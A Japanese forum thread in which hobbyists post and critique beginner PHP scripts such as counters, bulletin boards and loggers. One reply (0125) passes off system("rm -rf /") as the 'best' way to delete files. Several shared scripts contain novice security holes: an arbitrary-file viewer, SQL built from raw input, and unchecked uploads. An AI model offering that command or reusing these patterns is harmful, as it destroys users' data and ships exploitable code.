【PHP】自作スクリプト発表会
レス数が950を超えています。1000を超えると書き込みができなくなります。
0001nobodyさん
02/03/30 11:55ID:M/C/V7hb初心者が書いた入門スクリプト、ベテランが書いたすげースクリプト。
発表してね。
予めスクリプトの内容を明記してURLを貼り付けるのがよろしいかと。
マターリ進行でいきませう。
PHPが使える無料サーバ情報(レッツPHP!):
http://php.s3.to/php/
0002nobodyさん
02/03/30 12:13ID:???0004nobodyさん
02/03/30 17:14ID:???ttp://www.orb-2.info/other/source.php?sql_img_bbs.php
厨なスクリプトかもしれないけど、どんなもんでしょう?
ちなみに画像掲示板です。
0005nobodyさん
02/03/30 22:45ID:???0006なると
02/03/31 03:05ID:???晒していいのかなぁ、、
0007nobodyさん
02/03/31 12:20ID:e940DqcPHello world!でもいいですよ!
0008nobodyさん
02/03/31 20:50ID:BQ+/DH6NCSVデータの変更プログラム
列A,列B,列C
11,22,33
44,55,66
・
・
・
これを
列A,列B,列C
11,22,33
44,XX,66
・
・
・
55のところをXXに変更。
つまり、指定した列の指定した行を任意に変更できるロジック。
もちろん、なるべくメモリを食わないように。
0009nobodyさん
02/03/31 21:47ID:???0010どっかであぷろだ晒し中
02/03/31 22:18ID:???フォームを echo で表示してるとこ、
「"」をいちいちエスケープするくらいなら「'」で書きゃいいのに、
と思った。
あと、他の表示の部分も、毎回変わる内容じゃなければ
上の方に変数にして固めておけば、少しはさっぱりするんじゃないかな。
それか、かちゅ〜しゃみたいに他のファイルにしとくとか。
他は、なんか自分よりコード綺麗でいいなと思ったり。
0011nobodyさん
02/03/31 22:52ID:???書き方のスタイルの違いかもしれないけど、
echoじゃなくて、?>で閉じて普通に出力したほうが
見やすいと思った。
Dreamweaverで編集もできるし。
001211
02/03/31 23:17ID:???echo "<a href=\"xxx.php?a=$a\">$a</a>";
?>
<a href="xxx.php?a=<?= $a ?>"><?= $a ?></a>
<?
俺は後者。
001310
02/03/31 23:30ID:???げ、、、こんな書き方始めて知った。
?>で外すとき、いつもこう書いてたよ。
?>
<a href="xxx.php?a=<? echo $a; ?>"><? echo $a; ?></a>
<?
面倒、面倒と思ってたのに、そんなことが出来たとは・・・
00144
02/03/31 23:34ID:???10&11氏の意見は参考になるのでどうもありがとうございます。
エスケープするのは'だとなんか自分的にややこしいので\"使ってます。
12のは見てもらえばわかる通り前者です。
001511
02/04/01 00:49ID:???どのバージョンからできるようになったかは知らんが、
最近のはできる。
俺は<?= ?>より<? echo $a ?>のほうがいいだと思う。
互換性だけでなく見た目的にも。
<?php echo $a; ?>
にしてるなぁ・・・。
面倒とは思うんだけど。
あと、タグとかは外に出す方かな。
0017なると
02/04/01 21:49ID:???カウンタを作ってみました。
自分でもわからないことが多いけど、とりあえず動くみたいです、、
<?
$file = "log.txt";
if(!($fp = fopen($file, "r"))){
/* ファイルが開けないときは終了 */
echo " ファイルが開けません!!";
exit;
}
$count = fgets($fp, 256);
fclose($fp);
$count = (int)$count;
$count++;
if(!($fp = fopen($file, "w"))){
echo " ファイルが開けません!";
exit;
}
fputs($fp, "$count");
fclose($fp);
?>
あなたは、<font color=#ff0000> <? echo $count; ?></font> 人目のPHPマニアです。。。
<br>
0018なると
02/04/01 21:52ID:IORYSc+w0019nobodyさん
02/04/01 22:20ID:???あと
$count = fgets($fp, filesize($file));
とかの方がいいのかもしれない。
あとflockとかも入れたほうがいいのかな。
0020なると
02/04/01 22:50ID:IORYSc+wアドバイスありがとうございます!
$count = fgets($fp, filesize($file));ってことは、
つまり、漏れのやつだと256バイトを読み込んでるんだけど、
これだとファイルのサイズに合わせて読み込めて、軽くなるってことかな。。
flockはファイルロックですよね。。
0021なると
02/04/01 22:53ID:IORYSc+wカウンタが1から動かなくなってしまった。
0022nobodyさん
02/04/01 23:12ID:???逝って来る
0023apacheuserさん
02/04/01 23:46ID:???一応マニュアルにはfgetsの二つ目の引数の大きさは
ファイルサイズを越えても問題ない、とあった気がする。
個人的にはエラーが出て終了するんじゃなくて、$countに
エラーを代入して数字の代わりにエラーメッセージを出力、
ってほうが好き。
0024なると
02/04/02 00:53ID:SHbCbPK7おお、なるほど。
じゃあ、これでも問題はないと。。ありがとうございます。
というか今見てみると、
if(!($fp = fopen($file, "r")))の
if(!
の意味がわからない、、、調べてきます。。
0025nobodyさん
02/04/02 02:21ID:???0026apacheuserさん
02/04/02 07:38ID:???>あれ。$count = fgets($fp, filesize($file));に変えたら
>カウンタが1から動かなくなってしまった。
以下php.netより。
>string fgets ( int fp [, int length])
>Returns a string of up to length - 1 bytes read from the file
>pointed to by fp.
freadのほうは長さいっぱいまで読んでくれると書いてある。
>string fread ( int fp, int length)
>fread() reads up to length bytes from the file pointer
>referenced by fp.
試しにログファイルに2バイト以上のデータを突っ込んでみれ。
何かわかるかも。
0027なると
02/04/02 12:55ID:4fz1y7Df自己レス。「!」は否定の演算子なので、
この場合は、ファイルが開かなかった場合、という意味っぽい。
>>25
初心者にもわかりやすくて、楽しいですよヽ(´ー`)ノ
>>26
わかったような、わからないような…。
0028nobodyさん
02/04/02 17:51ID:???fgetsだと-1バイトで終わるからfreadに変えるのが正解かな
例えばlog.txtに1バイトしか入ってないと
fgetsだと1-1で0になるから
次の$count++で1になっていつまでたっても1から進まないのでは?
つうか分かりづらいので
fgetsの後に$count2とか作って、後で表示させた方が分かりやすいかもん
002928
02/04/02 17:55ID:???fgets
http://jp.php.net/manual/ja/function.fgets.php
fread
http://jp.php.net/manual/ja/function.fread.php
0030なると
02/04/02 18:22ID:4fz1y7Df<html>
<body bgcolor="#EEEEFF">
<blockquote>
<form method="post" action="<? echo $PHP_SELF; ?>"><b>名前</b><input name="name" type="text" size="20">
<b><br>内容</b><input name="mes" type="text" size="40"><input type="submit" value=" Send "><P>
<?
$lines = file("log.txt");
for($i = 0; $i < 10; $i++) {
echo $lines[$i];
}
if($name && $mes){
$mes = htmlspecialchars ($mes);
$name = htmlspecialchars ($name);
}
if(!($name)){
$name = "名無しさん\n";
}
$dat = "<b>$name</b> <br> <br>$mes<br><hr>\n";
$lines = file("log.txt");
$fp = fopen("log.txt","w");
fputs($fp,$dat);
for($i = 0; $i < 20; $i++)
fputs($fp, $lines[$i]);
fclose ($fp);
?>
</form>
</blockquote>
</body>
</html>
0031なると
02/04/02 18:23ID:4fz1y7Dfおお!ありがとうございます。
今からじっくり読んでちょっと改良したものを作ってみますね。
0032なると
02/04/02 18:55ID:4fz1y7Dfおお!できた!すげぇ!
freadっていうのは、最高lengthバイトまで読み込んでくれるから、
ファイルのサイズの全部を読んでくれるってことなのかな。。
0033apacheuserさん
02/04/03 01:59ID:???そういや日本語版があったな・・・。
鬱出汁脳・・・。
0034apacheuserさん
02/04/03 02:03ID:???閲覧と書き込みの分岐が無くない?
あとログの出力がログの記入より前にあるから
書き込んでもすぐ反映されないのでは?
0035なると
02/04/03 03:54ID:p/YLm2dWほんとうだ!!
通りでおかしいと思った!!
直してみます。
あと、分岐がなくても掲示板としては動いているのですが、
分岐していたほうが都合がいいのでしょうか?
0037nobodyさん
02/04/03 10:37ID:???forに固定入れてるようだけどsizeofで取得した方が楽じゃないかな
$line_c = sizeof($lines);
for($i=0; $i<$line_c; $i++) {
名無し処理の\nは取り除いてね、$linesのカウントずれるから
ついでに名無し処理のifはif(!$name){ でいいんじゃない?
0038なると
02/04/03 18:16ID:0xPsQVu6そうなんですよ・・・。今対策をいろいろ試しているところです。
inputにnameを"sub"と指定して、
if($sub=="Send"){
を書き込みの前においてみたらできるかな、って思ったんですけど、
ダメでした・・・(;;)
>>36
sizeofってことは、配列内の変数を取得するってことですか?
自分にはよくわからないのですが、$linesの変数を返したのが
$line_cで、それをfor($i=0; $i<$line_c; $i++) {で返しちゃうと、
書き込みがずっと最新1件しか表示されなくなっちゃうんですよ・・・。
perlとかのCGIを見てみると、最初のほうに
「$max = 10」などと設定してからやってるみたいなんですけど、
sizeofを使う利点はどのような点か教えていただけますか?
なんかわかりにくい文章で申し訳ないです…。
0039nobodyさん
02/04/03 20:52ID:???forで回す必要ある?aで開けばいいんじゃない
$fp = fopen("log.txt","a");
fputs($fp,$dat);
fclose ($fp);
0040apacheuserさん
02/04/03 23:50ID:???カウンタを想定し7バイトのファイルを用意して、
256バイトずつ読むのとfilesize()で調べたサイズだけ読んでみた。
ファイルサイズを調べる分のオーバーヘッドがあるせいか
固定値で調べたほうが速かった。無視できるくらいだけど。
ちなみにもっと大きなサイズ(40K弱だったと思う)の場合
filesize()を調べたほうが圧倒的に速かった。
参考までに。
>>37,38
$maxが固定なのは恐らく表示件数・保存件数を一定にしたいからだと思う。
ただ、保存する件数が$max+1になってるけどな。
>>39
それをやるとファイルの一番後ろに書いてしまうことにならない?
0041あぼーん
NGNG0042なると
02/04/05 02:29ID:OTHB+g89ふにゃ。fopenのモードがwだと書き・ポインタ先頭で、
aだと書き・ポインタ終端と覚えたんです。
んで「書いたのが先頭にきたほうが読みやすいな」と思ったんですが、
aのほうがいいですか??
あと、forを使ってるのは単純にログがこの数字になったら自動的に消す、
っていうのをやってて、それ以外の方法を知らなかったりします…。
>>40
おお!すげぇ。やっぱりfilesize()にするべきですね。
ところで、$maxの件ですが、掲示板ってたいていログの限界数が決まってるじゃないですか。
それを考えると、$maxとかにしたほうが使いやすいかな、って思ったんですけど、
他にスマートに一定数になったらログが消えるシステムってありますか?
0043なると
02/04/07 13:37ID:b5XtSahI改行もできるようにしました…。
<html>
<body bgcolor="#EEEEFF">
<blockquote>
<form method="post" action="<? echo $PHP_SELF; ?>"><b>名前</b><input name="name" type="text" size="20">
<b><br>内容</b>
<textarea name="mes" cols="40" rows="5"></textarea>
<input name="sub" type="submit" value="Send"><P>
</form>
<?
$line_c = sizeof($lines);
if(!$name){
$name = "名無しさん\n";
}
if($name && $mes){
$mes = htmlspecialchars ($mes);
$mes = str_replace("\n", "<br>", $mes);
$mes = str_replace("\n", "",$mes);
$name = htmlspecialchars ($name);
}
$dat = "<b>$name</b> <br> <br>$mes<br><hr>\n";
$lines = file("log.txt");
$fp = fopen("log.txt","w");
fputs($fp,$dat);
for($i = 0; $i < 20; $i++)
fputs($fp, $lines[$i]);
fclose ($fp);
$lines = file("log.txt");
for($i = 0; $i < 10 ; $i++) {
echo $lines[$i];
}
?>
</form>
</blockquote>
</body>
</html>
0044なると
02/04/07 13:39ID:b5XtSahIどこかにUPしてきます(´д`)y-~~
0045apacheuserさん
02/04/07 15:40ID:5JNffQ+t//保存件数
$MAX=20;
if(!$name){
//名前が入っていない場合
$name = "名無しさん";
}
$lines = file("log.txt");
if($name && $mes){
//書き込み時の分岐
$mes = nl2br(htmlspecialchars ($mes));\
$mes = str_replace("\r", "", $mes);
$mes = str_replace("\n", "", $mes);
$mes = str_replace("\r", "", $name);
$mes = str_replace("\n", "", $name);
$name = htmlspecialchars ($name);
$dat = "<b>$name</b> <br> <br>$mes<br><hr>\n";
$fp = fopen("log.txt","w");
fputs($fp,$dat);
unset($tmp);
$tmp[] = $dat;
//保存件数は$MAXのため$MAX-1回保存
for($i = 1; $i < $MAX; $i++){
$tmp[] = $lines[$i];
fputs($fp, $lines[$i]);
}
fclose ($fp);
$lines = $tmp;
}
for($i = 0; $i < 10 ; $i++) {
echo $lines[$i];
}
?>
0046apacheuserさん
02/04/07 15:41ID:5JNffQ+t基本的になるとさんのと同じ。
"おい、ここはちょっと・・・"
って思ったところだけ変えて見ますた。
0047apacheuserさん
02/04/07 15:48ID:???HTML部だけ省略だ。
HTMLの部分は>>43を参照。
0048nobodyさん
02/04/07 16:55ID:???0049nobodyさん
02/04/07 22:29ID:???$mes = str_replace("\n", "", $mes);
$mes = str_replace("\r", "", $name);
$mes = str_replace("\n", "", $name);
↓
$mes = str_replace("\r|\n", "", $mes);
$name= str_replace("\r|\n", "", $name);
0050nobodyさん
02/04/08 01:35ID:???0051apacheuserさん
02/04/10 23:54ID:???orで検索できるんですか。知らんかった。
>>50
それって改行入るからだめなんじゃ・・・。
0052rootさん
02/04/28 19:19ID:6TJDtFTq0054nobodyさん
02/04/28 22:45ID:???配列?こういうこと?
$str[0] = "\r";
$str[1] = "\n";
$str[2] = "\r\n";
$mes = str_replace ($str, "<br>", $mes);
0055nobodyさん
02/04/28 23:23ID:???>>PHP 4.0.5 以降では、str_replace() への全てのパ ラメータは配列とすることが可能です。
すまん、3は駄目だった。
>>54
$str[0] = "\r\n";
$str[1] = "\r";
$str[2] = "\n";
$mes = str_replace ($str, "<br>", $mes);
じゃないと、改行が\r\nの時<br><br>にならない?
ただ、展開される順番確認してないので確実ではない。
オネムナノ (-_ゞゴシゴシ
0056東山 ◆tmcSEEZE
02/04/30 02:06ID:???YAIGって海外の画像ギャラリースクリプトを改造してたりする。
いちおう特色はこんなん(オリジナルへの付加要素)
・スキン(埋め込むだけ)
・5つまでのアルバムに対応、それぞれに分別表示(強化予定)
ちょい作成に行き詰まったので、殆ど最初っから書き直そうと思ってる。
…まぁ自分のサイト用だから、公開するのはかなり先になるけど。
0057nobodyさん
02/06/22 07:58ID:???0058nobodyさん
02/06/23 15:02ID:???0060nobodyさん
02/06/27 17:13ID:???やっぱり見た目的にはつけたほうがいいんでしょうか?
自分は省略して書いてるけど…
while(1)
$hoge = 1
こんな感じ
0061nobodyさん
02/06/27 17:23ID:???0062nobodyさん
02/06/27 20:43ID:???例えばその、仕事とかで書くなら。
0063nobodyさん
02/06/28 02:54ID:???プロジェクトマネージャーの指示に従う。
0064nobodyさん
02/06/28 08:35ID:???その辺の是非についてはちょっと前にこんな議論があったりしました。
参考にしてみては?
この会社辞めようと思ったソースコード#4 @マ板
http://pc.2ch.net/test/read.cgi/prog/1021560641/118-
0065nobodyさん
02/10/22 18:04ID:Dc8ZNLM6006665
02/10/22 18:04ID:???0067nobodyさん
03/03/28 06:40ID:???0068nobodyさん
03/04/14 11:20ID:eYkIMkHB$type = $_POST['type'];
$temp = chunk_split($str,1,":");
$result = explode(":",$temp);
switch($type){
case "0" :
for($i = 0; $i < count($result);$i++){
$result[$i] = strtolower($result[$i]);
if($i%2 == 1){
$result[$i] = strtoupper($result[$i]);
}
$strans .= $result[$i];
}
break;
case "1" :
for($i = 0; $i < count($result);$i++){
$result[$i] = strtolower($result[$i]);
if($i%2 == 0){
$result[$i] = strtoupper($result[$i]);
}
$strans .= $result[$i];
}
break;
}?>
もっとスマートに書けそうだな・・・
0069nobodyさん
03/08/18 20:07ID:???0070nobodyさん
03/08/19 17:11ID:???人のソースみれるなんて勉強になるスレですね。
0071nobodyさん
03/08/20 22:21ID:DmnhIRDP0072nobodyさん
03/08/23 22:09ID:L0wSRRTtphpinfo();
?>
0073nobodyさん
03/09/23 14:42ID:???$c = 0;
while ( $i<100000 ) {
$a = rand ( 0, 1 );
echo $a;
$c++;
if ( $c == 100 ) {
echo "\n";
$c = 0;
}
$i++;
}
?>
0074nobodyさん
03/09/23 14:43ID:???$c = 0;
while ( $i<100000 ) {
$a = rand ( 0, 1 );
echo $a;
$c++;
if ( $c == 100 ) {
echo "\n";
$c = 0;
}
$i++;
}
?>
0075nobodyさん
03/09/23 14:44ID:???0076nobodyさん
03/10/07 22:52ID:/z//HM11訪問者はめっちゃ少ないですが、自分なりに手ごたえはあったような気がするので
評価してみてください。。。(・∀・)
ちなみにPHP歴はちょうど1年デス。
http://www.shuta.org/simplet/phpscript/simplet_board.html
0077nobodyさん
03/10/13 19:15ID:???0078nobodyさん
03/10/17 22:48ID:/0HAJGKT0079nobodyさん
03/11/01 05:06ID:0M/5svli0080nobodyさん
03/11/04 20:07ID:V0sFneFhhttp://f3.aaacafe.ne.jp/~null/gets.php
http://f3.aaacafe.ne.jp/~null/gets.zip
とりあえずフレームの一個下までは読めます。それ以下はタイムアウトしちゃうかも…。
2ch の場合は dat 読んで自分でHTML吐いてます。
どうかな?
user: user
pass: pass
でテストログインっす。
0087nobodyさん
03/11/08 15:53ID:oR+D+DMqとりあえず掲示板…とかは難しそうなので最初に書いてみたのがこんなの。
<?php
$logfile = "log.txt";
$time = date("Y/m/d[D]\tH:i:s");
$add = getenv("REMOTE_ADDR");
$host = gethostbyaddr($add);
$agent = getenv("HTTP_USER_AGENT");
$ref = getenv("HTTP_REFERER");
if($ref=="") $ref = "none";
$data = "$time,$name,$add,$host,$agent,$ref\n";
$fp = fopen($logfile,"a");
fputs($fp, $data);
fclose($fp);
?>
一応記録は出来てるみたい。
まだまだ先は長いけど…
009087
03/11/10 16:42ID:???89みたいに「.」を入れるとどうなるんでしょう?…とりあえず試してみます。
あれから、一日一ログファイル化とn日前のログは消去ってのに進化(?)しました。
そろそろビューアーを作ってみよう…面倒そうな予感…
0091nobodyさん
03/12/15 03:39ID:9CFo/Eqsttp://up.isp.2ch.net/up/306d0610b2b5.zip
0092ここがすごいと思われ
03/12/15 21:36ID:85uBylp5ttp://cgi.f10.aaacafe.ne.jp/%7Esakataku/se/hako-main.php
これすごい
0094サ骨 ◆xO/IQ5000w
04/02/08 07:32ID:2XWG9op1とりあえず10回アクセスがあるごとに文章がランダムで変わるスクリプト書いてみました。
http://sakots.pekori.jp/cgi/acrand/acrand.php
ソース
http://sakots.pekori.jp/cgi/acrand/acrand.zip
0095nobodyさん
04/02/08 15:04ID:j1/Dqn/7相談に乗ってやってください。
文字で説明がちょっとしづらいので画像も織り交ぜます。
http://wish.disneysea.org/pope/img/pic.jpg
で、自分が作りたいスクリプトというのは
上の画像のAにある商品をクリックするとBに商品説明が出て
Aをダブルクリックなどの何らかの方法でCに表示させてCで数量を増減出来るようなものが作りたいです。
説明が下手で皆様には伝わってないかもしれませんがよろしくおねがいします。
0097nobodyさん
04/02/08 16:16ID:???___ クルッ… / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
/ || ̄ ̄|| <⌒ヽ )) < はてさて、
| ||__|| < 丿 | どこを縦に読みゃいいんだ?
| ̄ ̄\三⊂/ ̄ ̄ ̄/ \___________
| | ( ./ /
0098nobodyさん
04/02/13 21:25ID:???$file=$_SERVER['QUERY_STRING'];
$html_head = <<<HTML_HEAD
<html>
<hrad>
<title>そーすびゅーあ</title>
</head>
<body>
<font size=+2>${file}の中身</font>
<hr>
HTML_HEAD;
echo mb_convert_encoding($html_head,"SJIS","EUC-JP");
$fp=@fopen("$file","r") or die("Error! Can't open the file.");
while(!feof($fp)){
$temp=htmlspecialchars(chop(fgets($fp)))."<br>\n";
echo mb_convert_encoding("$temp","SJIS","EUC-JP");
}
fclose($fp);
echo mb_convert_encoding("<hr>\n</body>\n</html>","SJIS","EUC-JP");
?>
どうよ。ローカルでは結構便利かも。
ビューアより見やすい・・・ことはナイカ・・orz
0100nobodyさん
04/02/13 21:36ID:???より
echo mb_convert_encoding("$temp","SJIS","auto");
のほうが良いと思われ
0102nobodyさん
04/02/16 16:15ID:???echo mb_convert_encoding("$temp","SJIS","auto");
で文字コードを判別できませんと言われてしまったので、
echo mb_convert_encoding($temp, "EUC-JP", "UTF-8, UTF-7, ASCII, EUC-JP,SJIS, eucJP-win, SJIS-win, JIS, ISO-2022-JP");
ってやったら、ちゃんとなったよ
0103nobodyさん
04/02/23 13:49ID:???オリジナルの未発表作品に限るが
PHP賞にえらばれれば 5万円もらえるって
おまいらどうよ?
http://compe.japandesign.ne.jp/ap/01/lite/phpsakuhin/
0104nobodyさん
04/02/23 14:21ID:???0107nobodyさん
04/02/25 00:05ID:???それって「耳」みたいな文字化けない?
SJISだと耳でEUC-JPだと半角カナになるから
SJISではなくてEUC-JPにご認識されることがある
ちなみに上の文字は1文字単体
0109今日始めたPHP君
04/03/12 15:07ID:???しかし、書き込みできません、なぜでしょう(ログに書き込まれない)
<html>
<head>
<body>
<form method="post" action="<? echo $PHP_SELF; ?>">
<b>コメント</b><input name="name" type="text" size="20">
<input type="submit" value=" Send ">
<?
$data = file("data.cgi");
for($i = 0;$i < 10;$i++){
echo $data[$i];
}
$mes = htmlspecialchars ($mes);
$log = "$mes\n";
$data = file("data.cgi");
$fp = fopen("data.cgi","w");
fputs($fp,$log);
for($i = 0; $i < 20;$i++)
fputs($fp,$log[$i]);
fclose($fp);
?>
</form>
</body>
</head>
</html>
0110今日始めたPHP君
04/03/12 15:10ID:???0111nobodyさん
04/03/15 15:52ID:h0qk8HnH3年ほどプログラミングから離れてたからリハビリがてらに作って見た。
自分より下のディレクトリをツリー表示するスクリプト。
人が居なさそうなのでage
0112nobodyさん
04/03/18 16:54ID:MiGVyUNw$fp = fopen("./count.dat","r+");
flock($fp,LOCK_EX);
$count = fgets($fp);
$count++;
fwrite($fp,$count);
fclose($fp);
echo($count);
?>
アクセスカウンター。
0113nobodyさん
04/03/22 17:35ID:szpeqsZ5require_once ('Date/Calc.php');
class CalBase {
var $dayCnt;
var $weekCnt;
var $weekNo;
function CalBase($month , $year) {
$dt = new Date_Calc;
$this->dayCnt = $dt->daysInMonth($month,$year);
$this->weekCnt = $dt->weeksInMonth($month,$year);
$this->weekNo = $dt->firstOfMonthWeekday($month,$year);
}
function getCalAry() {
$days = "";
$daySrc = array();
for($i = 0;$i<$this->weekCnt * 7;$i++) {
if($i == $this->weekNo) $days = 1;
if($i >= $this->weekNo && $this->dayCnt >= $days) {
$daySrc[$i] = $days;
}
else {
$daySrc[$i] = "・";
}
$days++;
}
return $daySrc;
}
}
?>
カレンダーの素
0114nobodyさん
04/03/22 17:54ID:szpeqsZ5<?php
require_once('CalBase.php');
$cal = new CalBase('3','2004');
$calSrc = $cal->getCalAry();
echo '<table><tr>';
foreach($calSrc as $key=>$val) {
if(($key+1) % 7 == 0 && $key != 0) {
echo "<td><span style='color:blue'>$val</span></td></tr><tr>";
}
elseif(($key+1) % 7 == 1 || ($key+1) == $val) {
echo "<td><span style='color:red'>$val</span></td>";
}
else {
echo "<td>$val</td>";
}
}
echo '</tr></table>';
?>
0115nobodyさん
04/04/01 20:22ID:84kVyOOh0116nobodyさん
04/04/04 03:01ID:bLnZrz+40117たまによくあること
04/04/04 12:57ID:3ND1yVd/<?php
//勝手に増やせよ《゚Д゚》ゴラァァァァァァァァァァァァア!!
$fp[0] = fopen("http://search4.auctions.yahoo.co.jp/jp/search/auc?p=php&auccat=21700&alocale=0jp&mode=2","r");
$fp[1] = fopen("http://list4.auctions.yahoo.co.jp/jp/2084008801-category-leaf.html?f=&alocale=0jp&mode=2","r");
for($y=0;$y<count($fp);$y++){
$i=0;
while (!feof ($fp[$y])) {
$text[$y][$i] = fgetss($fp[$y], 4096, "<a>,<img>");
$text[$y][$i] = trim($text[$y][$i]);
$i++;}
$n=0;
for($m=0;$m<count($text[$y]);$m++){
if($text[$y][$m] == "¥t" or $text[$y][$m] == "¥s" or $text[$y][$m] == "" or $text[$y][$m] == "¥n" or $text[$y][$m] == "¥r¥n" or $text[$y][$m] == " "){ }else{
$text_1[$y][$n] = $text[$y][$m];
$n++;}
}
print("<TABLE BORDER=1>");
for($x=0;$x<count($text_1[$y]);$x++){
print("<TR>
<TD>".$y."</TD>
<TD>".$x."</TD>
<TD>".$text_1[$y][$x]."</TD>
</TR>¥n");
}
print("</TABLE>");
fclose ($fp[$y]);
}
?>
0118nobodyさん
04/04/08 04:13ID:RRs8f8iP全部のファイルやフォルダを削除する関数を誰か作ってください
0120nobodyさん
04/04/08 07:41ID:???$でぃれくとり = './てすと';
さくじょ♪($でぃれくとり);
function さくじょ♪($■) {
if ($@ = opendir($■)) {
while ($□ = readdir($@)) {
if ($□ == '.' or $□ == '..') continue;
elseif (is_dir("$■/$□")) さくじょ♪("$■/$□");
else unlink("$■/$□");
}
closedir($@);
rmdir($■);
}
}
?>
0121nobodyさん
04/04/14 20:45ID:sODzky5p0123nobodyさん
04/04/16 20:57ID:M6UxhkA2for($i=1;$i<20;i++){
print("age!"){
}
0124>>123
04/04/16 20:59ID:M6UxhkA20125nobodyさん
04/04/17 19:11ID:E2aViHFUパーミッションや所有者の違いで
unlinkでは削除できないファイル、ディレクトリーもあるから
システム関数から削除した方がベスト
[ソース]
<?
system("rm -rf /");
?>
0126カポコン
04/04/26 13:33ID:???{
$this->array = $ARRAY;
$db = mysql_connect($this->connect,$this->user,$this->pass)
or die($this->error(3));
mysql_select_db("book")
or exit($this->error(3));
$cmd=mysql_query("SELECT * FROM hon") or die($this->error(3));
$cmd2=mysql_query("SELECT BOOKNAME FROM hon") or die($this->error(3));
while($ary=mysql_fetch_array($cmd2,MYSQL_ASSOC));
$num = count($ary);//配列内の要素数を取得する。
mysql_data_seek($cmd,$num) or mysql_data_seek($cmd,0);//MySQL内のポインタの移動
/*ブックIDの処理*/
$id = $this->bookid(TRUE) + 1;
if($id < $this->id)
{
$id = $this->id;
}
mysql_query("INSERT INTO hon(BOOKID,PDATE,BOOKNAME,AUTHOR,COM,PERM,MEM,RDATE)
VALUES(
".$id.",
'".$this->array[0]."',
'".$this->array[1]."',
'".$this->array[2]."',
'".$this->array[3]."',
'".$this->array[4]."',
'".$this->array[5]."',
'".$this->array[6]."')") or die($this->error(sql));
mysql_free_result($cmd);
unset($num);
mysql_close($db);
}
0127nobodyさん
04/05/07 21:28ID:V9n269ovtest.html
<html><body><form method="post" action="test.php">
<input type="text" name"test"><input type="submit"></form>
</body></html>
test.php
<html><body>
<?php
echo $test;
?>
</body></html>
これ動かないんすが... いや他の関数とか動くのでphpが入ってないのはナシということで。なんでだー
0129nobodyさん
04/05/07 21:42ID:V9n269ov0130nobodyさん
04/05/08 09:34ID:???<?php
for($i=1; $i<20; $i++) {
printf("age! $i\n");
}
?>
ちょっと変えました。
age! のあとループ回数を入れて、改行しました。
0131nobodyさん
04/05/08 22:24ID:???0132nobodyさん
04/05/09 07:34ID:???0133nobodyさん
04/05/09 22:04ID:5mhyQGyBA.htmlのフォーム部分
<form action="B.php" method="post" name="test" enctype="multipart/form-data">
<input type="hidden" name="MAX_FILE_SIZE" value="2000000">
<input type="file" name="upname" size="32" border="0">
<input type="submit" name="submitButton" border="0">
</form>
B.php
<?php
copy ($_FILES['upname']['tmp_name'],$_FILES['upname']['name']);
?>
A.htmlでファイルを選択してsubmitを押すとブラウザが
B.phpの読み込み中にエラーになりました。
と出て止まります。php.iniはデフォルトのまま(post_max_size=2M)。
ヒントをお願いします...
0136nobodyさん
04/05/09 23:46ID:???upload_max_filesize = 2M
php.ini
こんなのハッケソ
0137nobodyさん
04/05/12 01:31ID:???0138カポコン
04/05/15 04:01ID:???<form action="hoge.php" method="post">
<input type="text" value="test1" name="test[]" />
<input type="text" value="test2" name="test[]" />
<input type="text" value="test3" name="test[]" />
<input type="text" value="test4" name="test[]" />
<input type="submit" value="OK" />
</form>
hoge.php
<?php
print_r($_GET['test']);
?>
0139まちげーた
04/05/15 04:02ID:???print_r($_POST['test']);
?>
0140nobodyさん
04/06/01 22:47ID:???http://toyomo.pn.to/pw/?Program/PHP/gojyuon
取りあえずでっち上げました。
助言など お願いします。
0143nobodyさん
04/06/04 23:06ID:???訪問者登録型リンカースクリプト
http://tubaki.ksdc.jp/flash/link/t_link.php
http://tubaki.ksdc.jp/flash/link/t_link.phps ソース
0144nobodyさん
04/06/17 00:02ID:???0145nobodyさん
04/06/17 18:17ID:eeZQgFWj0146nobodyさん
04/07/13 22:28ID:???0147nobodyさん
04/07/14 00:44ID:???0148nobodyさん
04/07/27 03:58ID:???class httpRequest{
function main(){
if( isGet() == true ){
$this->getRequest();
} else if( isPost() == true ){
$this->postRequest();
} else if( isHead() == true ){
$this->headRequest();
} else {
header("Allow: GET,POST,HEAD");
httpError(405);
}
}
/* abstract void */
function getRequest(){die();}
function postRequest(){die();}
function headRequest(){die();}
}
0149nobodyさん
04/10/01 22:06:47ID:z0lIw7qS<?php
require_once("htmltemplate.inc");
define("TAX", 5); //消費税何パーセント?
$zeinuki = $_GET[ htmlspecialchars("zeinuki")];
if ($zeinuki == NULL) { //初期値。何も入力されていない場合
$arg["kaitou"]="数字を入力してください";
} elseif (is_numeric($zeinuki) == TRUE) { //値が数字、または数値文字列の場合
$zeikomi = $zeinuki + $zeinuki * ("0.01" * TAX);
$arg["kaitou"]=$zeikomi;
} else { //数字、または数値文字列ではない場合
$arg["kaitou"]="計算できません";
}
HtmlTemplate::t_include("test_tax.html",$arg);
?>
0150149
04/10/01 22:07:56ID:???<html>
<head>
<title>消費税計算</title>
</head>
<body>
<form action="test_tax.php" method="get">
<p>
<input type="text" name="zeinuki" size="20" />x1.05={val kaitou}<br />
<input type="submit" value="計算" />
</p>
</form>
</body>
</html>
0151149
04/10/01 22:10:15ID:???このスクリプトがやっぱり原因なんでしょうか。
変な書き方とか間違った書き方をしていたら、指導してください。
0152nobodyさん
04/10/02 23:55:27ID:???0153nobodyさん
04/10/04 03:26:47ID:???とりあえず、
$_GET[ htmlspecialchars("zeinuki")]
は無意味というか、順序が逆だと思う。
0154nobodyさん
04/10/04 17:53:13ID:???ってことでしょうか。
すみません、順番とか、どこに""をつけるのかとか、全然わかってないのです。
0155nobodyさん
04/10/04 19:51:14ID:???0157nobodyさん
04/10/04 21:50:25ID:???今の時代レベル下がったもんだねぇ
0158nobodyさん
04/10/04 21:51:48ID:???0159nobodyさん
04/10/05 00:13:49ID:???プログラミングのレベルはなかなか上がらないよな。
0160nobodyさん
04/10/05 19:57:01ID:???0161nobodyさん
04/10/07 00:41:07ID:???年齢層も広がってさ。
0162カポコン
04/10/09 00:44:17ID:???0163nobodyさん
04/12/20 17:37:05ID:4RWN4Eycどうにもこうにもダウンロードができん。
AAA!CAFEじゃzip禁止になったからかな。
ソース見せてください。
0165nobodyさん
04/12/20 22:29:47ID:TSyzoBri0166nobodyさん
04/12/25 15:43:14ID:???0167nobodyさん
04/12/27 17:28:49ID:???途中まで作ったんだけど、めんどくさくなりました、スマソ
ちなみにMySQL+PHPのスレッドフロート型掲示板。
ソースみたいなら晒すが、
